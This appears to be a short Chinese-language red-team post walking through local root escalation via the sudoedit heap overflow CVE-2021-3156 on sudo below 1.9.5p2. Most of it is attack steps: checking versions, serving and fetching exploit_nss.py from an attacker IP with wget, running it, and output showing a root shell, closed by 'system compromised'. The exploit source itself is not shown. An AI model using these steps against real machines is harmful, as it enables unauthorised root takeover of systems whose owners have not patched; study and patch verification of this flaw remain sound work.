📅 日期: 2025-06-08
✍️ 作者: @TopskiyPavelQwertyGang
🧠 安全研究员 | 红队爱好者
sudoedit(sudo)sudoedit 中的堆溢出使本地用户能够在使用预先构造的参数执行 sudoedit 命令时获取 root 访问权限。
该漏洞利用对 sudo < 1.9.5p2 的版本有效,包括流行的 Ubuntu/Debian/CentOS 镜像。
即使启用了 ASLR,该漏洞仍然可被利用。
OS : Ubuntu 20.04.3 LTS
glibc : 2.31 (tcache ON)
sudo : 1.8.31 (存在漏洞)
ASLR : 2 (已启用)
glibc 和 sudo 的版本:ldd --version
sudo --version
python3 -m http.server 80
wget http://<IP>:80/exploit_nss.py
python3 exploit_nss.py
$ python3 exploit_nss.py
# whoami
root
如果 glibc ≥ 2.26 且 sudo 为存在漏洞的版本,即使 ASLR 处于启用状态,CVE-2021-3156 的利用仍然可行。
最稳定的当属 exploit_nss.py 漏洞利用程序,在 NSS 配置正确的情况下首次运行即可成功。
🧨 系统已受控。